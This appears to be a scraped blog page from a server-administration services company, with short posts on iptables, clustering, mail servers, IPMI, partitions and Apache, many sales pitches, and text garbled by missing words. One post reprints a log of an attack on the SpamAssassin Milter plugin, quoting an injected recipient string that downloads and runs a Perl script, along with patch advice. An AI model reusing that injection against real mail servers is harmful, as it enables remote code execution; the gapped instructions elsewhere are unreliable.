How to block UDP packets on all ports except one

Posted by: admin  :  Category: Firewall, Security

This example block all incoming packets except port number 27005.:

 -A INPUT -p udp --dport 27005 -j ACCEPT
iptables -A INPUT -p udp -i lo -j ACCEPT #You may ignore this rule
iptables -A INPUT -p udo -s 0/0 -j DROP
VN:F [1.9.14_1148]
Rating: 10.0/10 (1 vote cast)
VN:F [1.9.14_1148]
Rating: +1 (from 1 vote)

Popularity: 20% [?]

Best Way for Server Migration to Cloud-based Hosting

Posted by: admin  :  Category: Cloud

If you want fast and easy transfer as to cloud the best is create files as ISO image and backup all user data by tar.

But you never can’t create system ISO in multiuser runlevel, becouse some files open by system and some files may changed in create ISO process.

Another way – order , reboot server in and create system ISO. But… how about is KVM unavalible?

We suggest use with and ssh support. Just reboot server and login to ssh. You may mount partitions, run commands and do anything – by ssh in single use mode.

If you want got this initrd – order us for this task, it cost from 60$ and up.

[si-contact-form form='2']

VN:F [1.9.14_1148]
Rating: 0.0/10 (0 votes cast)
VN:F [1.9.14_1148]
Rating: 0 (from 0 votes)

Popularity: unranked [?]

One secret that nobody will not tell you for a cluster of two nodes

Posted by: admin  :  Category: Clustering

is good thing. It simple and robust: If first node down, secondary replace it.

But… Did you know about GFS work? It write all data beetween servers via network connection. Usually servers connect via 1Gbps – it is 128Mb per second. Sounds good? Please hold on! This is a RAW . TCP/IP connection take 5%. GFS take 10%.

Well, 100mb per second sound good, but one second! GFS is a beedirectional protocol such like . So, it split channel twiced – 50mb per second.

And now check – did you MySQL will work nice for that ? Of course Not!

But we have uniqe techniqe for this : Use as dedicated . It avoid spliting channel and you got full 100mb per second.

Sounds good, yea?

[si-contact-form form='2']

VN:F [1.9.14_1148]
Rating: 1.0/10 (1 vote cast)
VN:F [1.9.14_1148]
Rating: 0 (from 0 votes)

Popularity: 3% [?]

Tips for use Linux as mail server for Mail Marketing Script

Posted by: admin  :  Category: Rack Admins

Install Script not difficult task, but you will know some rules:

  • Server for only MTA task. Disable a lot of unused services like as cups or samba.
  • Double check for closed relay for unauthentication emails. – direct way to Black List.
  • Keep – it will not more than CPU’s count. For Dual Core – not more than 2 LA for example.

Did you know?

Server can sent 12Mbps for each . Each 12Mbps request another . Yes, hyperthreading support for this count. For full 100mbps you ned 4 with hyperthreading.

You may use RRDNS for speedup mail sending.  It used for multiple servers and balanced () MTA.

For Guranteed Delivery to free mail server (Yahoo,Hotmail,Google,etc) you need use:

  1. Valid Record
  2. Domain Keys
  3. SPF DNS Record

You may order for 120$.

[si-contact-form form='2']

VN:F [1.9.14_1148]
Rating: 0.0/10 (0 votes cast)
VN:F [1.9.14_1148]
Rating: 0 (from 0 votes)

Popularity: 2% [?]

How to Install supermicro IPMI in a linux server

Posted by: admin  :  Category: Hardware
Once has been installed and it boots up, the IP and MAC address of the IPMI card have to be configured. Use the “ipnmac” to set the MAC and IP address for the card. This command has to be run via sudo and prompts for the new ip and mac address.

For the GPC agent to run, the drivers need to be installed on the managed . The default FC3 build has   loadable modules. The modules are ipmi_devinf and ipmi_si (located in /lib/modules/2.6.9-1.667smp//drivers/char/ipmi).

The ipmi_si need special parameters for loading. This was tested on a 2.6.10 kernel.

It does not work with the 2.6.9-1.667(smp) kernel in the FC3 package.

modprobe ipmi_si type=kcs ports=0xca8 si_regspacings=4.

Once these modules are up and running, start the .

 $ smagent &
If you tried running this daemon, the system entered the graceful restart state whenever smagent started. Make sure it works before adding to rc.local/login script(this leads to a restart loop).

Use the IPMIview Java utility from the remote system to access the IPMI card. Since IPMI is designed to be OS transparent, this utility does not need any modules to be installed in the kernel. If this does not work, run IPMIview in the same LAN and the gateway MAC and IP .

The IPMIview tool allows power shutdown, reset, and device . The IPMI console did not work though everything seemed to be configured properly. The BIOS on the P8SCi is supposed to detect the IPMI card automatically and set the console redirection options for it. Unfortunately, we were still seeing garbage in the remote console.

The current BIOS version of 1.1 shows the redirection going to “NULL” instead of something understandable like IPMI, COM1, etc.

The solution was to get the latest P8SCI BIOS (rev1.1) and re-flash it on the managed system. We had to do this even though the current BIOS on the board indictated it was already version 1.1.

VN:F [1.9.14_1148]
Rating: 0.0/10 (0 votes cast)
VN:F [1.9.14_1148]
Rating: 0 (from 0 votes)

Popularity: 100% [?]

Cure for the Read Only Partiton

Posted by: admin  :  Category: File Systems

Sometime you may got strange problem. Server partition, usually /var or /tmp went to .

Some peoples suggest you unmount that partition and use main (root) partiton for place this directory. This is very big mistake!

Partition become to read only if you got some fiilesystem errors. It may be software or hardware problem.

and since the partition is mounted on the main disk it needs to be replaced, so i need someone to perform the following work:

The cure is not to easy:

  1. what same cause this error – software or hardware
  2. Software problems cure tune2fs and kernel upgrade
  3. cure drive replacement

But really disaster problem – error on drive contorl or main board. So, drive not help you. We suggest migrate server to new one. We can do it for you. guranteed:

Backup of the all accounts.
Once the sent access to new server we configure WHM/ or other Hosting Panel.
Restore of the all accounts to new server.
Check Apache & MySQL conditions.
Redirect all traffick from old to new one.
Cange .

We use our know-how for traffick . It absolutly transparent!
[si-contact-form form='2']

VN:F [1.9.14_1148]
Rating: 0.0/10 (0 votes cast)
VN:F [1.9.14_1148]
Rating: 0 (from 0 votes)

Popularity: unranked [?]

Spamassassin Milter Plugin Remote Root Attack

Posted by: admin  :  Category: Security

Observant reader Roy caught an interesting attempt against his SMTP . His review of the logs turned up this:

Messages rejected to recipient: root+:|wget
hxxp://www.-echo.de/.x/p.txt;perl p.txt:   smtp.target.com[10.11.17.18] : User unknown in local recipient
table; from=<blue@attacker.com> to=<root+:|wget
hxxp://www.linux-echo.de/.x/p.txt : 1 Time(s)

Handler Bojan notes that it appears that the bad guys have started to actively exploit ’s that has been published last weekend (more details at http://archives.neohapsis.com/archives/fulldisclosure/2010-03/0139.html).

The perl script collects some information about the local host and tries to send it to 203.59.123.114 on port 80 — this host appears to be unreachable at the moment though.

Mitigation: There is a preliminary patch available at the SpamAssassin Milter Plugin project site, bug #29136: SpamAssassin Milter Plugin Input Validation Flaw Lets Users Execute Arbitrary Code: http://savannah.nongnu.org/bugs/index.php?29136

Alternatively, don’t use the -x option when running this plugin, as well do not run it as root.

http://isc.sans.org/diary.html?storyid=8434

VN:F [1.9.14_1148]
Rating: 1.0/10 (1 vote cast)
VN:F [1.9.14_1148]
Rating: 0 (from 0 votes)

Popularity: 8% [?]

Apache – how to MPM-ITK by easyapache (part of WHM/cPanel)

Posted by: admin  :  Category: Apache

As is known, the standard method of working with apache php – mod_php, also known as DSO, has a maximum output, but all scripts run under the user apache.

To solve this problem in a easyapache mode php , which are not always compatible with custom , because he works in cgi mode, and environment variables in apache not be available. This apply for engines to banner systems, etc.

The problem is fully resolved mode of operation called apache -, where each process is inherited with user privileges. It also gives full play to monitor the resources used, of consumption and limits.

Try running easyapache and look for mpm-itk. Not found? True, it’s not there. Developer WHM / ignores this option. But if you want – we can set you on the with WHM / apache mode mpm-itk. Yes, we can do is our know-how. Nobody will mpm-itk with easyapache, since it is impossible. Only Rack Admins can do it!

VN:F [1.9.14_1148]
Rating: 2.3/10 (7 votes cast)
VN:F [1.9.14_1148]
Rating: -6 (from 10 votes)

Popularity: 55% [?]